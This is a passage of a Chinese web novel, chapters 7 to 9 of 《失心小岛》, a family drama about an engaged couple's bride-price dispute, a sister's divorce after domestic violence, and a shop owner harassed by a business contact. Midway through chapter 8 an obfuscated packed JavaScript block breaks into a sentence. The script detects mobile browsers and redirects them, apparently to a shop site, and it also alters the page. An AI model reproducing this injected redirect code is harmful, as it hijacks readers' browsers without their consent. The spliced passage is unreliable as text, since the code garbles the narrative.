《失心小岛》 7.第 7 章 下午谷瑞安得了空,唐盈拉上他去给翟莉母女挑礼物。 唐盈看中一条丝巾,打算买给翟莉,却不知道梅馨会喜欢什么。 谷瑞安说:“送香水吧,女孩儿不都喜欢香水嘛。” 唐盈鄙夷地看向谷瑞安:“我就不用香水啊。” 谷瑞安摸了摸她的头发,“我们现在收入不高,你这也舍不得买那也舍不得买,等以后手上有钱了,你也会喜欢打扮自己的。” 唐盈耸耸肩膀,“牌子货的香水可不便宜呢。” “你今天第一次跟她们正式见面,你这个阿姨应该会给你准备红包吧。” 唐盈想想也是,捏了捏谷瑞安的脸,“大木头现在也学会精打细算了。” 谷瑞安在这时告诉唐盈,他之前跟梅馨见过两回。 “什么时候?” “前阵子。” “之前怎么没听你说过?”唐盈努了努嘴,“这老高人脉够广的啊。” “老高喜欢梅馨。梅馨这个人,看起来不简单。” 谷瑞安很少主动评价一个人,唐盈挽住他的胳膊问:“她应该很漂亮吧?” 谷瑞安点点头:“还行。” “是个美女,又很会赚钱,那喜欢她的男人一定很多。你觉得老高排得上号吗?” 谷瑞安摇了摇头。 如谷瑞安所说,晚上去吃饭,唐盈果真收到一个大红包。 翟莉捧场,立刻就试戴围巾,说戴上自己的气质都变好了。梅馨更是会来事,她说自己正打算买香水,简直是想什么来什么。 看到大家其乐融融,唐正光内心很是欣慰。他理想中的后半生就应该是像眼下这样幸福和睦。 梅馨比唐盈想象中要外放。她像一朵明艳的玫瑰花,笑起来很大方,好像一切事情都可以游刃有余地招架。 唐盈跟梅馨设想的差不离,懂事、文静、乖巧,话虽不多,但句句到位,是个聪明姑娘。 梅馨问唐盈:“男朋友怎么没跟你一起来?” 唐盈说谷瑞安最近在备考,晚上一般都在家复习,下次有机会会带他来吃饭。其实是谷瑞安自己提出不来,他觉得今天是唐盈第一次跟这对母女见面,他在场不合时宜。 梅馨对翟莉和唐正光说道:“我跟小唐的男朋友见过两回,他人挺不错的。” 翟莉看向唐盈:“昨晚不知道小孟姓什么的时候,我还以为他就是小谷呢,我心想,嗬,唐盈这男朋友真是气派。” 梅馨问:“小孟是谁?” 唐正光接茬道:“是我侄孙女的男朋友。他刚收购了青阳宾馆,以后在这边主事。” “侄孙女?” 唐盈淡声道:“我那个侄女已经去世了。” 梅馨心想,这关系真够复杂的。 唐正光又多嘴道:“那可是个人物,馨子,以后我介绍你们认识,都是做生意的,指不定还能谈合作。” 梅馨顿时眉开眼笑:“那敢情好啊,谢谢唐叔。” 饭吃到一半,梅馨接到供货商的电话,说那边到了一批金枕榴莲,原定的买家店铺倒闭不要了,现在低价出给梅馨,问她接不接,有没有冷库存放。 梅馨店里的卖点就是榴莲,有现成的便宜捡,她自然是想接,可一直之间联系不到冷库,犯了愁。 唐盈听清楚来龙去脉后,想起谷瑞安做早餐生意的舅舅有闲置的冷库,立刻帮忙打电话联系。 很快,几方将此事敲定。冷库租金也协商得很痛快。 梅馨很是感谢唐盈,“你今天可是给我帮了大忙了,回头我请你跟小谷吃饭。” 唐盈见她收拾东西准备去接货,问她人手够不够,要是不够,自己可以去搭把手。 梅馨不客套,“那太好了。” “我把我对象也叫上。” 唐盈和梅馨走后,翟莉同唐正光说道:“你可别再提你前妻的这不对那不对了,她给你生了多好的一个闺女啊,就凭这一点,你也应该放下怨恨。” 唐正光摆了摆脑袋,“我大女儿对我也是很不错的,彭芳这个人啊,别的不行,孩子带得确实是好,以后唐盈的孩子就给她带。” “你这话稀奇了,唐盈的孩子自然由人家小谷的父母带。” “也是。”唐正光又问道:“梅馨的婚事你不操心?” “你看她是想结婚的那种人吗?随她去吧。” 谷瑞安陪舅舅去开冷库的门,待一车榴莲运过来,又跟唐盈一起帮梅馨卸货。 忙完已经夜深,梅馨执意要请唐盈和谷瑞安吃夜宵。 三个人坐在暖洋洋的烧烤店里,梅馨说明天是休息日,提议大家小酌一点。 唐盈不想扫兴,决定陪梅馨喝两杯。谷瑞安推辞,他让两个姑娘喝,他保持清醒,负责送大家回家。 酒能助兴,酒精上头,谈话的节奏和情绪也会变得不那么干瘪。 梅馨敬了唐盈一杯,“我从小就特别想有个妹妹,大概就是像你这样的,漂亮、聪明,又很乖。你看我运气多好,快三十了,老天送给我一个妹妹。” 唐盈开玩笑道:“那我以后是不是有吃不完的甜品了?” “你要是喜欢吃,我天天派人给你送,一天三顿够不够?” 唐盈有耐心,非常乐意做个听众,梅馨很健谈,话匣子拉开就收不住。 谷瑞安几乎没有开口说话的机会。 唐盈喝一点酒会脸红,从颧骨一直红到耳朵。梅馨喝酒不上脸,但似乎酒量欠佳,多喝几杯后,细长的眼睛微微眯着,看人的时候透出一股娇憨。 谷瑞安觉得喝多了的梅馨跟正常状态下判若两人。 清醒的时候,这个女人是明快的、爽利的,甚至是把城府和野心都写在脸上,可晕乎乎的时候,她又是有顿感的,很实在,很纯真,还有一丝不易觉察的柔弱。 事实证明,唐盈的酒量更好。散场时,她跟梅馨一共喝了七瓶啤酒,她比梅馨多喝了几杯,但除了脸红,完全看不出醉态。 梅馨却醉的厉害。她把车钥匙塞给谷瑞安,叮嘱道:“先送小唐啊。” 这晚唐盈到家时,彭芳还没睡。彭芳在操心明天去霓城的事。 “你喝酒了?”彭芳急忙去给唐盈泡茶。 “你别忙活了,我没喝多。” “在你爸那儿喝的?” “不是,跟谷瑞安和梅馨在外面喝的。” “小谷也去了?” 唐盈说谷瑞安是后来来的,他舅舅给梅馨帮了个小忙。 彭芳听得云里雾里,让唐盈早些睡,自己先回了房间。 房门掩着,唐盈听见了一声微弱的叹息。她快速洗完澡后,钻进了彭芳的房间,替她关上了台灯。 彭芳蹙眉:“你做什么?这么大了还要跟我睡?” 唐盈把被子裹好,说这么冷的天两个人一起睡暖和。 彭芳“切”了声,“我还不知道你心里在想什么嘛,你是怕我多心,觉得你跟你继母还有你那个继姐相处太好,我会吃醋。” “才没有呢。” “哼,我才不管你的事,我现在只操心君君。” “好了,知道了,你只喜欢君君,不喜欢我。”唐盈嘟嚷着,把彭芳的被子也往上掖了掖,“睡吧,晚安,妈妈。” 唐盈忧心着彭芳和唐正光去霓城的事,周日在家备课,心神不灵。 楼盘销售打来电话,问她有没有空去签合同,那边给出一套她心里最想要的房子和一个最低折扣。 唐盈想让谷瑞安陪自己一起去,打过去的电话是谷母接的,谷母说谷瑞安还没起。 唐盈问:“他昨天几点回去的?” “快一点了吧。” 谷母把谷瑞安喊醒接电话。 谷瑞安对唐盈说,没想到梅馨酒量那么差,下车后就吐了,不仅吐,还发酒疯,她把老是骚扰她的老高恶狠狠地骂了一通。 “她骂老高?” 谷瑞安说那会儿老高正好给梅馨打来电话,她是直接在电话里骂的。 “那她人没事吧?” 梅馨骂完人,抱着树大哭了一场,说自己一个小姑娘在外打拼很不容易,这些给她帮一点小忙就蹬鼻子上脸的臭男人都该去死。 谷瑞安看了老高给她发的消息,几乎构成性骚扰。但他没跟唐盈讲太细,说后来把梅馨安全的交给她妈妈了。 唐盈说那就好。 谷瑞安冷不丁地来了一句:“之前总觉得她挺强势,但骨子里其实还是个小女孩。” 唐盈觉得这话怪怪的,没接茬, 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“妈,当初让我们结婚是你先提的,现在变卦,你让唐盈和她父母怎么想我们一家人?” “我提的时候也不知道你爸会病这么重啊,现在好了,都来怪我是吧……” 谷瑞安从家里离开的时候谷母仍在掉眼泪。他走到楼下,唐盈发来样板间的照片,问他喜欢什么样的装修风格。 他没有心情回答。 梅馨没想到自己会断片。醒来几个醉酒前的片段在脑子里连起来,她意识到自己可能在谷瑞安面前失态了。 她吐了,骂了人,好像还拳打脚踢地撒酒疯,这些谷瑞安都一一承受了。 翟莉说她回来的时候身上干干净净,完全不像是吐过的样子。 她不知道谷瑞安照顾了她什么。她很懊恼,她怎么能在未来妹夫的面前呈现出这一面呢。 午后唐盈发来关切的信息,她让唐盈替自己谷瑞安说句抱歉。 唐盈说没关系,让她别往心里去。 她决定改天再请小情侣吃一顿饭。 唐盈又说道:“馨姐,我想问你个事。我想送一个年轻的朋友一点烟酒,你有没有可以推荐的?看起来显得贵重有诚意一点的。” “你这个朋友挑剔吗?” “就是昨天我们提的那个孟冬杨,他挺有钱的,也挺有品味,所以我不知道怎么送礼合适。” “富二代?爱玩吗?” “……我不是很清楚。” “他平时抽烟吗?” “没看见过,但是他随身带烟。” 梅馨建议,孟冬杨带的是什么烟,唐盈就送什么烟。至于酒,她白酒洋酒各给唐盈推荐两款,顺便,给了唐盈一个买烟买酒的正品折扣渠道。 “太谢谢你了馨姐。” “客气什么,以后都是一家人。” 唐盈犹豫片刻后,对梅馨说道:“馨姐,我过几天请这个人吃饭,你能来当个陪客吗?” “怎么了,他人不好相处?” “也不是……” 唐盈话还没说完梅馨就豪爽地答应,“行啊,我正好认识认识。” 唐盈不想跟孟冬杨独处。 她想,像梅馨这样性格爽利的姑娘,如果出现在饭桌上,一定能缓解她跟孟冬杨之间的别扭感。 老唐已经说过这顿饭他不来。他拿乔,说自己是长辈,没道理请晚辈吃饭。 傍晚,唐盈给孟冬杨打去一通电话,问他下周周几晚上有空。 孟冬杨回了霓城,这会儿正在遛卡卡。他牵着狗,停在河边步道上,语气柔和,“唐老师又要跟我见外了吗?” 唐盈淡笑一下,“不是见外,我想介绍个朋友给你认识。” 孟冬杨不知道唐盈是何用意,他根本不想认识什么新朋友。既是如此,这顿饭不吃也罢。 他说:“那你等我消息吧。” “好,那你忙,再见。”唐盈挂了电话。 如果孟冬杨一直不答复,这顿饭吃不了,唐盈也是无所谓的。她会再多买一点礼物,一并寄到孟家霓城的酒店。 这样的感谢方式其实更利索。 8.第 8 章 孟冬杨留在家里吃晚饭,餐桌多了几道他喜欢吃的菜。 孟云钦把芝士焗虾球和糖醋鱼都推到儿子的近处,却提醒他道,贪甜对身体没有任何好处。 孟冬杨安静地挑着鱼刺,余光里,父亲依旧只吃蔬菜和粗粮。 下午的聚会散得晚了些,杨梦真到家,换上居家的衣服从楼上下来时,孟云钦已经吃完要离席。 “你们慢用。”孟云钦的手有意无意地掠过妻子的肩膀,然后上楼去了书房。 杨梦真微微地歪了下头,用公筷往孟冬杨的餐盘里夹了一颗虾球,夸赞他道:“你身材保持得不错。” 孟冬杨说自己最近在上网球课。 杨梦真没什么胃口,托着腮,用银勺拨弄着盘子里的一根青菜,说道:“我年纪大了,运动是吃力了,只能练练瑜伽什么的。” 孟冬杨咬了半只虾,觉得腻,放下筷子,“美声课上得怎么样?” “就那样吧,老师说我没天赋。”杨梦真笑起来。 孟冬杨扬一下眼尾,“本来就是打发时间,不用太较真。” “谁说的,我是想好好学的,我还要去参加演出呢。” “行,到时候我去给你捧场。” 阿姨要给杨梦真盛一碗鸽子汤,杨梦真让阿姨去休息,自己站起来盛。孟冬杨见状,接过了她手里的汤勺。 “肉要吗?”孟冬杨问。 杨梦真摇了摇头,“青阳的空气质量比霓城要好吧?听说风景也不错,我还没去过呢。” “我后天过去,带你去散散心?” “我需要散什么心啊,我一天到晚忙都忙不过来。后天……后天是你生日吧?” 孟冬杨点了点头。 杨梦真低头喝了一口汤,“那你自己买块蛋糕吃,要巧克力很多的那种。” 孟冬杨扯一下唇角,“好。” 吃完饭,杨梦真去小花园里坐着,孟冬杨也走进去,找到趴在自己小屋门口的卡卡,给它顺毛。 杨梦真看着卡卡,说老了,不中用了,又道:“你爸比我还大三岁呢,他怎么精力那么旺盛,身体素质也很好。” 杨梦真今年五十五岁,个子高,人也瘦,人一瘦,脸上不挂肉,不化妆,岁月感便涌现出来。 美人迟暮,孟云钦已经跟她分房十年。夫妻情薄,不是一朝一夕能酿就的苦果。 孟冬杨看过孟云钦的体检报告,的确各项指标都很好。 杨梦真的病在于忧思过重。很多事情,孟冬杨放下了,她却没有。 “唐臻的家里人都还好吧?”杨梦真问道。 “挺好的。” 杨梦真伸手抚摸温室里的花朵,缓声问道:“已经三年了,你心里怎么想?再好的借口也不能用得太久。” 孟冬杨的手掌停在卡卡的头顶,语气风平浪静:“我都决定留在青阳了,他还能怎么样呢。” “他就你这一个孩子。”杨梦真垂下眼睛,“当初他能认可唐臻,是站在你的角度考虑过问题的。” “是这样吗?”孟冬杨冷笑出声,“那是唐臻听话罢了。听他的话。” 当年唐臻升职是孟云钦一手促成。她去出差是临时的安排,孟冬杨事后才知晓。 唐臻是他的女朋友,他希望唐臻不要过于听从他父亲的安排,唐臻却有自己的打算。 是她太有野心吗?不全然是。 唐臻爱他,想嫁给他,想成为孟家的一份子。而他却没来得及告诉唐臻,他早就想逃离孟家。 孟冬杨听见孟云钦在开电话会议,没跟他打招呼就自行离去。 好友喊他晚上去喝一杯,他婉拒了。回到家,洗了澡,给自己做了一个朗姆酒口味的冰激凌球,回看一场经典的网球大满贯赛事。 球赛播放到第二局,唐久安突然打来电话,问他有没有熟悉的离婚律师。 唐盈的姐姐彭文君,要跟她的丈夫离婚。 明知道彭芳和唐正光要来,彭文君的老公涂子昭,大清早就把彭文君带出家门。彭芳和唐正光在彭文君公婆的招待下,陪着两个外孙玩了一整天。 夜幕降临,在彭芳的多次催促下,小夫妻终于回到家。本就怠慢了岳父岳母,涂子昭进家门后竟黑着一张脸。 彭芳跟女婿呛起来:“你板着一张脸给谁看?” 涂子昭不吱声,把自己关进房间里。 唐正光来了火,“三十多岁的人了,什么德行啊。” 涂父涂母深知儿子的脾性,宽慰亲家道:“子昭心眼就这么小,你们多担待。他平时待文君还是不错的。” 又道出,小两口闹了一阵子了,为的是上回彭文君回娘家,在同学聚会上遇见了前男友的事。 听着大人们争辩起来,两个小孩面露惊恐之色。知道大女儿是敏感的性格,彭文君急忙把她护在怀里。 这时小姑娘忽然大哭起来,对着彭芳大喊:“外婆,爸爸打妈妈了……” 彭芳一怔,抓住彭文君的胳膊检查,“他打你了?打你哪儿了?” “没,就是推了一下。” “你不要骗我,我跟你爸今天来就是给你撑腰的。” 涂父涂母自然向着儿子说话,说只是两人斗嘴,推搡了几下。 小姑娘却哭着摇头,说爸爸拿弟弟的合金车模砸妈妈的胸口,砸了好几下,弟弟也看到了。 唐正光是个暴脾气,觉得小孩不会撒谎,抄起外孙的变形金刚就朝卧室的们砸了过去。孩子们被吓到,弟弟也跟着姐姐哭起来。 家里乱成一团。 家暴不是小事,彭芳要求两个人立刻离婚。 唐正光当即打电话给从事法律工作的唐久安,问他在霓城有没有相熟的律师。 唐久安是热心肠,从小看着彭文君长大,当她是唐正光的亲闺女看待,马上就问了一圈霓城的朋友,其中就包括孟冬杨。 孟冬杨觉得真有意思,自打那天在唐臻家里遇见唐盈,他身上就仿佛被植入一块吸铁石,跟唐盈有关的好事坏事一桩桩一件件被吸附进他的磁场。 唐家这两个女儿,一个要结婚,一个要离婚。真真是热闹。 想起唐盈那双沉静的眼睛,孟冬杨决定帮这个忙。 唐盈得知此事时,彭芳和唐正光已经和孟冬杨的律师好友取得联系。 唐盈焦心地问:“姐姐现在怎么样?” 彭芳说他们在附近的宾馆开了两间房,文君今晚跟她住。 “方便视频吗?我看看姐姐。” 彭文君说没什么可看的,让唐盈早点睡,明天还要上班。 唐盈说:“我明天请假过来。” 彭芳:“你过来干什么,我们明天一早去先去医院验伤,再去派出所报案,弄完就带你姐回青阳。” 唐盈问这是不是律师给的建议,彭芳应声,说孟冬杨推荐的这位女律师是专打离婚官司的,非常专业。 孟冬杨,又是孟冬杨。 这个名字在唐盈的脑袋里不停地盘旋,像女巫的咒语在幽暗处飘荡。 唐盈经历了一个难眠的夜晚。想着姐姐身体和心理上受到的伤害,想到她即将瓦解的婚姻,想着她割舍不下的两个小孩,焦虑着她回到青阳之后的人生。 婚姻,究竟带给一个女人什么呢? 夜深人静,彭文君躲在厕所里抽烟。 彭芳轻敲玻璃门,问道:“君君,你跟我说实话,你是不是变心了?” 彭文君抹去眼角的泪水,反问道:“什么叫变心?” “你不能让涂子昭抓到你的短处啊。” “我没有短处。”她只是跟前男友在同学聚会上偶遇了,留了联系方式,发过一回消息。 她把门打开,看着彭芳:“妈,当年你嫌弃我那个对象穷,说贫贱夫妻百事哀,死活不同意我跟他好。可我后来嫁了个条件好的,日子就过得好吗?” 彭芳沉下眼角,“我没逼过你嫁人,那时候是你自己先怀了孕。” “你太冷漠了,妈。”彭文君苦笑道。 “我冷漠?”彭芳的嘴唇开始发抖,“这些年我哪件事不是为你们姐妹俩好?” 唐盈精神不济地去上班,谷母给她带了早餐,等在她学校门口。 谷母把鸡蛋和牛肉包塞到唐盈的手里,又替她拧开一袋热豆浆,“你快趁热吃。” 唐盈问:“您来找我是有什么事吗?” 谷母支支吾吾了半天,最后想表达的意思就是,房子以后他们家不会缺,让唐盈暂时别买房。 唐盈会了意,问是不是彩礼的钱让他们为难了。可谷瑞安明明说,十三万五凑够了。 谷母愁眉苦脸,“你叔叔这个身体,手术说做就要做……” “好,我懂您的意思了。”病人为大,唐盈还能怎么说呢。 “唐盈,你别怪阿姨啊。” 唐盈摇了摇头,“我去上班了,您骑车慢点。” 人往办公室里走,腿却提不起劲来。唐盈看着外头灰蒙蒙的天,青阳已经好几天没出过太阳了。 班主任正组织学生下去参加升旗仪式,在走廊上撞见唐盈,让她帮忙维持纪律。她匆忙地把手里的早餐和背包放回办公室,跟随学 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16852663|191213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生们一起下楼。 刚走到操场上,谷瑞安发来消息:我妈说去她找你了。你别着急,我再想想办法。 后排的两个男生推推搡搡,唐盈上前去制止,把手机放回口袋里。 几分钟后,谷瑞安又说:不知道是不是我大嫂给我妈出主意了。我妈以前不是这样的。 唐盈心想,其实谷瑞安并不是什么都不懂。 她还能说什么呢。病人的事最重要。 她回复:结婚的事先缓一缓吧。等你爸爸的病治好了再说。 谷瑞安问:那房子首付款怎么办?你妈会不会怪我们? 唐盈没再回复。 医院去过了,案也报了,接下来就是走诉讼流程。彭文君舍不得孩子,不肯跟彭芳一起回青阳。彭芳没办法,打算先在霓城住下,陪在大女儿身边。 唐正光客客气气地把陪着他们办事的律师送走,给孟冬杨打去一通感谢的电话。 晚上唐正光回了霓城,跟唐盈在家附近的面馆里碰面。 唐盈问彭文君状态怎么样,唐正光忧心忡忡地说:“这个婚,难离。” “姐姐还年轻,再难离也要离,哪怕不要孩子。” “不要孩子?你心倒是硬。等你以后当了妈妈,你就明白你姐的难处了。” 唐盈一口面也吃不下去,放下了筷子,盯着油腻的桌面发呆。 “明天小孟来青阳,请他吃个饭。” “要请你自己请,我不去了。” “你这是什么话,你那房子他起码帮你省下来二十万。” 唐盈说房子不买了。 “不买了?” 唐正光猜到个大概,瞥了唐盈一眼,“你那婆家不是省油的灯吧,从谈彩礼谈了一两个月我就看出来了。” “谷瑞安他爸病了。” “哦,就这么巧,你一要买房,彩礼的钱就要拿去看病?” 唐盈承认唐正光这话有道理。 唐正光把唐盈的筷子重新塞进她手里,“天塌下来也要好好吃饭。婚结不了就不结了,嫁的不好,一辈子受委屈。谷瑞安是个没出息的,这事说来说去就是他没魄力。干脆分手吧,外头男人多的是,你长得漂亮,工作又体面,还愁以后找不到好男人?” “吃饭吧。”唐盈拎起装醋的小壶往唐正光的碗里倒。 这天晚上,谷瑞安提出要来唐盈家里住,陪她。 唐盈心里清楚,或许两个人的感情没有任何问题,但彩礼的事让他们提前进入了关于婚姻的磨合期。 许多矛盾,并不是一句“无能”和“尽力”就能掩盖。谷瑞安虽然不是不作为,可他的确如老唐所说,少了些魄力。 唐盈想和他结婚,既是因为深爱着他,想和他变得更加亲密,同时,也想拥有一个一起抵抗风霜雨雪的人生伴侣。 他们不够富有,但彼此信任,不够成熟,但互相依赖,生活很难,处处都是挑战,可他们还年轻,他们手拉着手,就会拥有勇气和底气。 不过现在,唐盈犹豫了。 她因这份突如其来的犹豫感到而迷茫和伤感。 金钱,是她在爱情里遇到的第一个挑战。 她心里很难受,却无处排解。呆呆地坐在书桌前,台灯照亮她恬静的侧脸,她的眼睫垂下去,酸涩在心脏里蔓延。 手机震动一下。她以为是谷瑞安又发来消息,结果是孟冬杨。 孟冬杨问她:你爸爸说你不买房了。遇到什么难处了? 孟冬杨并不觉得自己的面子有多么值钱,但拿到最低折扣却出尔反尔,这着实是一个不成熟的行为。 他印象中,唐盈不是这么不稳重的人。 唐盈只回复他四个字:谢谢关心。 不提自己失约让他折面子的事,也没有更多的解释,就这么草草的一句话。 孟冬杨把手机搁在水吧台上,取出一颗冰球放进水晶杯,给自己倒了一杯麦卡伦。 酒刚要入口,父亲打来电话,让他去取一份礼物,明天带去青阳送给某位领导。他把酒杯放下,去衣帽间里换衣服。 他穿戴好,准备出门时,唐盈又发来一条:记得唐臻说过,你是12月31号的生日,提前祝你生日快乐。谢谢你最近给我和我们家提供帮助,哪天你来青阳,我想请你吃饭,盼你赏光。 孟冬杨站在玄关打字:要介绍朋友给我认识? 唐盈:我自己请你。 孟冬杨扯一下唇角,那天搬出个朋友,果然是因为不想单独见他。 他回:谢谢你的生日祝福。我明天去青阳,明晚见。 9.第 9 章 谷瑞安在房间里复习,谷母推门而入,把一颗洗净的苹果放在他面前,要他尽快吃掉。 谷母对没有抬头的谷瑞安说:“别再给我和你爸摆脸色。家里就这个条件,要怪,就怪你自己没本事。” 这话实在是难听,谷瑞安心气不顺地看着谷母:“大哥结婚的时候也没这么多事。你是不是对唐盈有意见?” 彩礼拿去买婚前财产,谷母认准是彭芳的算计。她没吭声,转身出了谷瑞安的卧室,人走到客厅里,又忍不住开口:“你大嫂厉害是因为她娘家条件好,她有厉害的资本。唐盈她爸马上要另外成家了,她妈一个月就两千块钱的退休工资,她们娘儿俩指不定还惦记着咱们家的拆迁款……” “唐盈不是那种人。” “她不是,她妈是。谷瑞安,我告诉你,你这个丈母娘比你大嫂还势利……” 谷母的话还没说完,谷瑞安就拿起外套冲出家门。 他又一次因为结婚的事情与父母置气,离家出走的幼稚模样让他想起了自己的少年时期。 那会儿爸爸在国外接工程,妈妈跟在爸爸身边,家里只有他跟哥哥。哥哥不怎么会做饭,一日三餐都是糊弄着来。唐盈心疼他吃不好,隔三差五给他送牛肉和香肠,一拿就是一大包。 唐盈什么都想着他念着他,他很小的时候就确定,他不会再遇到一个对他这么好的姑娘。长大后就和这个女孩结婚,是他从来没有改变过的想法。 至于她的妈妈,的确是个现实的人,但现实不代表坏。她是为自己的女儿现实,她并没有什么错。 他一直以来都能接受彭芳那样的性格。 谷瑞安一个人走在凄冷的街道上,耳朵被寒风吹成冰块。 老高打来电话,说梅馨今晚请他唱歌,给他赔罪,问谷瑞安能不能把唐盈一起带过去。要在谷瑞安和唐盈在,他跟梅馨的关系或许可以更进一步。 谷瑞安正和唐盈别扭着,决定独自过去。 梅馨的面前摆着二十四杯酒,她已经喝下八杯。 生意要继续做下去,老高人脉广,是不能得罪的人。她忍住一切委屈也要维护好和这个人精的关系。 见她喝到走路不稳时,老高一把将她揽进怀里。臭男人身上的烟酒气息,涌入她的鼻息,她皱着眉头,用力地把男人推远。 “装什么啊梅老板,你的事我都打听过了。”老高再次把梅馨拉过来,强行往她的嘴巴里灌下一杯烈酒,“我前后给你拉了四五笔生意,功劳不算小吧。” 谷瑞安进门时看见梅馨被禁锢着,呛了酒,肺都要咳出来。 他不是很理解,即便她想把生意做大,也不至于连老高这样的人都要谄媚奉承。骂就骂了,老高本来就该骂。 他走过去拉开老高的胳膊,“悠着点,她酒量不好。” 老高哂笑,“也不是你亲大姨子,这么护犊子做什么。唐盈怎么没来?” 梅馨往一边躲,纸巾按在嘴唇上,怒火在心里蔓延。余光看见谷瑞安拧着眉心,他似乎也在忍耐,压抑的眼睛里暗藏着冷冽之气。 老高把六小杯洋酒倒进一个啤酒杯里,端起来,走到梅馨的面前,“就这一杯了,你喝掉,你昨天骂我的事就了了,你看怎么样?” “她喝不了。”谷瑞安起身挡在梅馨的面前。 老高锋利的眼神落在谷瑞安的脸上,“她喝不了,那你喝?” 他话落,谷瑞安接过他手里的酒杯,一饮而尽。 梅馨看着谷瑞安滚动的喉结,意识迷离着,从沙发上站起来,又堪堪倒下去,她伸出手,拉住了谷瑞安的衣服下摆,看着他,没有说话。 谷瑞安在女孩的眼睛里看到一股别样的情愫。许多年前,他在彭芳和唐正光大吵的时候把唐盈从家里拽出来的时候,唐盈也是像这样看着他。 “我送你回去吧。”他拉住梅馨的手腕。 那边老高过来不依不饶,也拉住梅馨的胳膊。 谷瑞安:“你放开她!” “我就不放,你能拿我怎么着。今晚是我跟她的事,原本想拉你来做个和事佬,结果你跟我演上英雄救美了是吧。”老高说完,试图把梅馨拽去另一个地方。 谷瑞安克制了几秒钟,看见梅馨东倒西歪,老高拧着她的脖子,像摆弄一个玩物,他上前,一脚把老高踹倒在沙发上。 梅馨被谷瑞安一路带到了外面,冷风吹上来,谷瑞安看见她没穿外套,想起她的东西还在包间里。 他又把她扶回大厅,让她坐在沙发上,托前台的小姑娘照看着她,自己回去拿她的东西。 很快,他拿来了她的外套和包,衣服披在她的身上,包挂在自己的肩膀上。 在路边拦了车,两人坐进后座,他跟司机报出她家里的地址。 梅馨在车上昏睡一路,谷瑞安始终托着她的脑袋。女孩身上混合着酒气和香水味,钻进他的鼻子里,愈发让他感觉这是个荒唐的夜晚。 车驶近目的地时,梅馨醒来,晕乎乎地对谷瑞安说了声谢谢,又问他打了老高,明天去单位,他该怎么应对。 “没醉?”谷瑞安挤出一个无奈的笑容。 梅馨摇摇晃晃地伸出手指,戳了下谷瑞安的鼻尖,“你也是个傻子。” 谷瑞安握住她的手,把她的手放回她的衣服口袋,“你喝醉了,我送你上去吧。” “看到我对老高这样,你是不是特别瞧不起我?”梅馨委屈巴巴地发问。 谷瑞安摇头,“你有你的难处。” 梅馨蹲在了地上,手指在花坛的泥土里瞎画,说:“都是狗男人,没有一个好人。” 谷瑞安把她捞起来,“你是做女顾客生意的,以后别再往男人堆里扎。” “你不懂。” “好,我不懂。” 谷瑞安哄着梅馨上了楼,说自己不方便见唐正光和翟莉,只把她送到门口,然后便转身离开。 “谷瑞安。”梅馨叫了他的名字一声。 他回头:“还有事?” 梅馨目光灼灼地看着他:“你是个好男人。” 进电梯时,谷瑞安听见翟莉问:“谁送你回来的?” 梅馨什么也没说。 隔天中午,唐盈去谷瑞安的单位里找他,想跟他好好谈谈。 两人在附近的小饭馆点了两菜一汤,坐下后,唐盈很认真地用纸巾擦拭桌面。 谷瑞安上午刚被老高穿了小鞋,情绪不高。 这时唐盈开口:“我还没跟我妈说彩礼推迟的事。这件事,我希望你能跟我一起面对。” “你想我怎么做?”谷瑞安心里已经有了画面,大概就是他坐在唐盈家的客厅里听彭芳犀利的数落。 唐盈发觉他有些不耐烦,先停了嘴。她又拿出一张纸巾第二次去擦桌面。 “好了,已经擦干净了。”谷瑞安按住她的手。 唐盈反握住谷瑞安的手,目光恳切,“不管发生了什么,我们有商有量,一起面对,好吗?” “嗯。”谷瑞安摸了摸她的脸。 唐盈抽回手,真诚地说道:“婚事可以推迟,我好好跟我妈说,她应该可以体谅。这毕竟是我们两个人的事,具体的还要我们自己做打算。” 谷瑞安点了点头。 唐盈继续说道:“我最近在想,我们就靠这点死工资,很可能会一直穷下去。我手头有几万块钱,你那儿应该也有两三万吧,我们要不要做点规划,考虑一下副业什么的?” “我要备考。”谷瑞安又问:“这是你的考虑,还是你妈的建议?” “是我自己的考量。” “你也开始嫌弃我收入太低了吗?” “我怎么会嫌弃你,我自己工资也低啊。” 气氛陡然变得焦灼起来,两人各自沉默了。 这时服务员过来上菜,一道水煮牛肉,一盘青菜,外加一碗紫菜蛋花汤。谷瑞安拿起汤勺,先给唐盈盛汤。 唐盈低着头,终于问道:“你自己是不是也对我想买房的事情有意见?” 谷瑞安没有吱声。 唐盈抬起眼睛看着谷瑞安,“我希望我们两个人之间可以开诚布公。” “是。”谷瑞安斩钉截铁道:“我们家拆迁是板上钉钉的事,要么分几套房,要么拿一笔钱,你跟我结婚后,我们不会缺房子的,也不会缺钱。” “可那是你爸妈的钱,何况你嫂子肯定也在盯着。我们俩独立一点,不去过手心朝上的日子,这样自己才有底气啊。” “你纠结这个做什么,我爸妈对你不错的,等你嫁给我,我们就是一家人。一家人为什么要分得那么清楚。” “是啊,一家人为什么要分那么清楚呢?”唐盈意有所指,反问他道。 谷瑞安立刻露出鄙夷的目光,脱口而出:“唐盈,你真是越来越像你妈了。” 唐盈怔住,一根无形的针扎进心里,耳朵一下子红透。 她妈妈是怎么样的人?他背后是如何评价她妈妈的?精明?市侩?势利眼? 而他又说,她像她妈妈。 唐盈仿佛被缰绳勒住脖子,声音变得不稳,“我是我妈的女儿,我当然像她。” 说完踢开凳子往外走。 她越走越快,走出小巷,走到大路上。 总觉得眼前的世界不是彩色的。忽然间,很讨厌青阳的冬天,天总是雾蒙蒙的,让人根本看不清远处的方向。 谷瑞安追上来,一把从身后抱住唐盈,头沉沉地低下,嘴唇贴住她又红又冰冷的耳朵,轻声说道:“我不是那个意思,对不起,都是我不好。” 唐盈莫名地感到心死,忍住眼泪,哽咽着,“我只是想好好跟你在一起,我希望我们俩的日子越过越好。你心里到底明不明白,我把你当成是我最亲近的人。” “我明白,我明白……对不起。” 路边的梧桐叶被车辆和人群碾碎,沦为粉尘,再无形状。 